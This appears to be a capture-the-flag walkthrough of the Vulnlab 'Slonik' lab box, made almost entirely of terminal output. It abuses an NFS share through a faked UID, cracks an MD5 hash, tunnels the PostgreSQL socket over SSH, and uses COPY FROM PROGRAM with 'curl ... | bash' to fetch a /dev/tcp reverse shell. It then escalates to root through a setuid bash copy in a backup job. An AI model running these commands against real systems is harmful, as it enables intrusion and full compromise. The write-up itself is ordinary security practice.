vulnlab slonik
a medium linux box
┌──(puck㉿kali)-[~/vulnlab/slonik2]
└─$ mkdir extract2
┌──(puck㉿kali)-[~/vulnlab/slonik2]
└─$ sudo mount -t nfs 10.10.99.219: ./extract2
[sudo] password for puck:
┌──(puck㉿kali)-[~/vulnlab/slonik2]
└─$ cd extract2
┌──(puck㉿kali)-[~/vulnlab/slonik2/extract2]
└─$ ls -la
total 16
drwxr-xr-x 19 root root 4096 Jul 27 09:22 .
drwxrwxr-x 3 puck puck 4096 Jul 27 09:42 ..
drwxr-xr-x 3 root root 4096 Oct 24 2023 home
drwxr-xr-x 13 root root 4096 Sep 19 2023 var
┌──(puck㉿kali)-[~/vulnlab/slonik2/extract2]
└─$ cd home
┌──(puck㉿kali)-[~/vulnlab/slonik2/extract2/home]
└─$ ls -la
total 12
drwxr-xr-x 3 root root 4096 Oct 24 2023 .
drwxr-xr-x 19 root root 4096 Jul 27 09:22 ..
drwxr-x--- 5 1337 1337 4096 Oct 24 2023 service
┌──(puck㉿kali)-[~/vulnlab/slonik2/extract2/home]
└─$ cd service
cd: permission denied: service
┌──(puck㉿kali)-[~/vulnlab/slonik2/extract2/home]
└─$ ls -la
total 12
drwxr-xr-x 3 root root 4096 Oct 24 2023 .
drwxr-xr-x 19 root root 4096 Jul 27 09:22 ..
drwxr-x--- 5 1337 1337 4096 Oct 24 2023 service
┌──(puck㉿kali)-[~/vulnlab/slonik2/extract2/home]
└─$ sudo usermod -u 1337 1337
usermod: no changes
┌──(puck㉿kali)-[~/vulnlab/slonik2/extract2/home]
└─$ sudo su 1337
$ bash
1337@kali:/home/puck/vulnlab/slonik2/extract2/home$ ls -la
total 12
drwxr-xr-x 3 root root 4096 Oct 24 2023 .
drwxr-xr-x 19 root root 4096 Jul 27 09:22 ..
drwxr-x--- 5 1337 1337 4096 Oct 24 2023 service
1337@kali:/home/puck/vulnlab/slonik2/extract2/home$ cd service
1337@kali:/home/puck/vulnlab/slonik2/extract2/home/service$ ls -la
total 40
drwxr-x--- 5 1337 1337 4096 Oct 24 2023 .
drwxr-xr-x 3 root root 4096 Oct 24 2023 ..
-rw-rw-r-- 1 1337 1337 90 Oct 24 2023 .bash_history
-rw-r--r-- 1 1337 1337 220 Oct 24 2023 .bash_logout
-rw-r--r-- 1 1337 1337 3771 Oct 24 2023 .bashrc
drwx------ 2 1337 1337 4096 Oct 24 2023 .cache
drwxrwxr-x 3 1337 1337 4096 Oct 24 2023 .local
-rw-r--r-- 1 1337 1337 807 Oct 24 2023 .profile
-rw------- 1 1337 1337 326 Oct 24 2023 .psql_history
drwxrwxr-x 2 1337 1337 4096 Oct 24 2023 .ssh
1337@kali:/home/puck/vulnlab/slonik2/extract2/home/service$ cat .psql_history
CREATE DATABASE service;
\c service;
CREATE TABLE users ( id SERIAL PRIMARY KEY, username VARCHAR(255) NOT NULL, password VARCHAR(255) NOT NULL, description TEXT);
INSERT INTO users (username, password, description)VALUES ('service', 'aa<redacted>c2'WHERE', network access account');
select * from users;
\q
1337@kali:/home/puck/vulnlab/slonik2/extract2/home/service$ cat .bash_history
ls -lah /var/run/postgresql/
file /var/run/postgresql/.s.PGSQL.5432
psql -U postgres
exit
1337@kali:/home/puck/vulnlab/slonik2/extract2/home/service$
.
crack the hash
┌──(puck㉿kali)-[~/vulnlab/slonik2] └─$ john hash --format=RAW-MD5 Using default input encoding: UTF-8 Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3]) Warning: no OpenMP support for this hash type, consider --fork=8 Proceeding with single, rules:Single Press 'q' or Ctrl-C to abort, almost any other key for status Almost done: Processing the remaining buffered candidate passwords, if any. Proceeding with wordlist:/usr/share/john/password.lst se<redacted>ce (?) 1g 0:00:00:00 DONE 2/3 (2024-07-27 09:48) 50.00g/s 19200p/s 19200c/s 19200C/s 123456..larry Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably Session completed.
ssh connects but immediately disconnects
┌──(puck㉿kali)-[~/vulnlab/slonik2] └─$ ssh service@10.10.99.219 The authenticity of host '10.10.99.219 (10.10.99.219)' can't be established. ED25519 key fingerprint is SHA256:j/hcANass/0veF/m0NAMOR41osL5zUMMMQ9nCYiwjmY. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.99.219' (ED25519) to the list of known hosts. @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@/ %@@@@@@@@@@. @& @@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@ ############. ############ ##########* &@@@@@@@@@@@@@@@ @@@@@@@@@@@ ############### ################### /########## @@@@@@@@@@@@@ @@@@@@@@@@ ###############( #######################( ######### @@@@@@@@@@@@ @@@@@@@@@ ############### (######################### ######### @@@@@@@@@@@@ @@@@@@@@@ .############## ###########################( ####### @@@@@@@@@@@@ @@@@@@@@@ ############## ( ############## ###### @@@@@@@@@@@@ @@@@@@@@@. ############## ##### # .########### ## ## #####. @@@@@@@@@@@@@ @@@@@@@@@@ .############# /######## ########### *##### ###### @@@@@@@@@@@@@@ @@@@@@@@@@. ############# (########( ###########/ ##### ##### (@@@@@@@@@@@@@@ @@@@@@@@@@@ ###########( #########, ############( #### ### (@@@@@@@@@@@@@@@ @@@@@@@@@@@@ (##########/ ######### ############## ## #( @@@@@@@@@@@@@@@@@ @@@@@@@@@@@@( ########### ####### ################ / # @@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@ ############ #### ################### @@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@, ########## @@@ ################ (@@@@@@@@@@@ @@@@@@@@@@@@@@@@ .###### @@@@ ### ############## ####### @@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@( * @. ####### ############## (@((&@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%&@@@@ #############( @@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ############# @@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@/ ############# ,@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ############( @@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ########### @@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ #######* @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@& @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ (service@10.10.99.219) Password: Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 6.2.0-1014-aws x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Sat Jul 27 07:50:05 UTC 2024 System load: 0.21142578125 Processes: 122 Usage of /: 32.1% of 7.57GB Users logged in: 0 Memory usage: 23% IPv4 address for ens5: 10.10.99.219 Swap usage: 0% Expanded Security Maintenance for Applications is not enabled. 0 updates can be applied immediately. Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status The list of available updates is more than a week old. To check for new updates run: sudo apt update Last login: Tue Oct 24 13:11:33 2023 from 10.10.1.254 Connection to 10.10.99.219 closed.
.
We have to do a trick
┌──(puck㉿kali)-[~/vulnlab/slonik2] └─$ ssh -N -L /tmp/.s.PGSQL.5433:/var/run/postgresql/.s.PGSQL.5432 service@10.10.99.219 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@/ %@@@@@@@@@@. @& @@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@ ############. ############ ##########* &@@@@@@@@@@@@@@@ @@@@@@@@@@@ ############### ################### /########## @@@@@@@@@@@@@ @@@@@@@@@@ ###############( #######################( ######### @@@@@@@@@@@@ @@@@@@@@@ ############### (######################### ######### @@@@@@@@@@@@ @@@@@@@@@ .############## ###########################( ####### @@@@@@@@@@@@ @@@@@@@@@ ############## ( ############## ###### @@@@@@@@@@@@ @@@@@@@@@. ############## ##### # .########### ## ## #####. @@@@@@@@@@@@@ @@@@@@@@@@ .############# /######## ########### *##### ###### @@@@@@@@@@@@@@ @@@@@@@@@@. ############# (########( ###########/ ##### ##### (@@@@@@@@@@@@@@ @@@@@@@@@@@ ###########( #########, ############( #### ### (@@@@@@@@@@@@@@@ @@@@@@@@@@@@ (##########/ ######### ############## ## #( @@@@@@@@@@@@@@@@@ @@@@@@@@@@@@( ########### ####### ################ / # @@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@ ############ #### ################### @@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@, ########## @@@ ################ (@@@@@@@@@@@ @@@@@@@@@@@@@@@@ .###### @@@@ ### ############## ####### @@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@( * @. ####### ############## (@((&@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%&@@@@ #############( @@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ############# @@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@/ ############# ,@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ############( @@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ########### @@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ #######* @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@& @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ (service@10.10.99.219) Password:
.
┌──(puck㉿kali)-[~/vulnlab/slonik]
└─$ psql -h /tmp -U postgres -p 5433
psql (15.3 (Debian 15.3-0+deb12u1), server 14.9 (Ubuntu 14.9-0ubuntu0.22.04.1))
Type "help" for help.
postgres=# \list
List of databases
Name | Owner | Encoding | Collate | Ctype | ICU Locale | Locale Provider | Access privileges
-----------+----------+----------+---------+---------+------------+-----------------+-----------------------
postgres | postgres | UTF8 | C.UTF-8 | C.UTF-8 | | libc |
service | postgres | UTF8 | C.UTF-8 | C.UTF-8 | | libc |
template0 | postgres | UTF8 | C.UTF-8 | C.UTF-8 | | libc | =c/postgres +
| | | | | | | postgres=CTc/postgres
template1 | postgres | UTF8 | C.UTF-8 | C.UTF-8 | | libc | =c/postgres +
| | | | | | | postgres=CTc/postgres
(4 rows)
postgres=# DROP TABLE IF EXISTS cmd_exec;
NOTICE: table "cmd_exec" does not exist, skipping
DROP TABLE
postgres=# CREATE TABLE cmd_exec(cmd_output text);
CREATE TABLE
postgres=# COPY cmd_exec FROM PROGRAM 'curl http://10.8.2.138/s | bash';
s contains
#!/bin/bash bash -i >& /dev/tcp/10.8.2.138/443 0>&1
Privesc
postgres@slonik:/opt/backups/current$ python3 -c 'import pty;pty.spawn("/bin/bash")'
<nt$ python3 -c 'import pty;pty.spawn("/bin/bash")'
postgres@slonik:/opt/backups/current$ export TERM=xterm
export TERM=xterm
postgres@slonik:/opt/backups/current$
zsh: suspended rlwrap nc -nlvp 443
┌──(puck㉿kali)-[~/vulnlab/slonik2]
└─$ stty raw -echo;fg
[1] + continued rlwrap nc -nlvp 443
postgres@slonik:/opt/backups/current$
.
postgres@slonik:/var/lib/postgresql/14/main$ chmod 777 pwn
chmod 777 pwn
postgres@slonik:/var/lib/postgresql/14/main$ chmod u+s pwn
chmod u+s pwn
postgres@slonik:/var/lib/postgresql/14/main$ ls -lah /opt/backups/current/
ls -lah /opt/backups/current/
total 3.0M
drwxr-xr-x 19 root root 4.0K Jul 27 08:26 .
drwxr-xr-x 3 root root 4.0K Oct 23 2023 ..
-rw------- 1 root root 3 Jul 27 08:26 PG_VERSION
..snip..
-rw------- 1 root root 88 Jul 27 08:26 postgresql.auto.conf
-rwxrwxrwx 1 root root 1.4M Jul 27 08:26 pwn
postgres@slonik:/var/lib/postgresql/14/main$ /opt/backups/current/pwn -p
/opt/backups/current/pwn -p
pwn-5.1# id id
id
uid=115(postgres) gid=123(postgres) euid=0(root) groups=123(postgres),122(ssl-cert)
pwn-5.1# cd /rocd /root
cd /root
pwn-5.1# cat rocat root.txt
cat root.txt
VL{b0<redacted>fa}
pwn-5.1#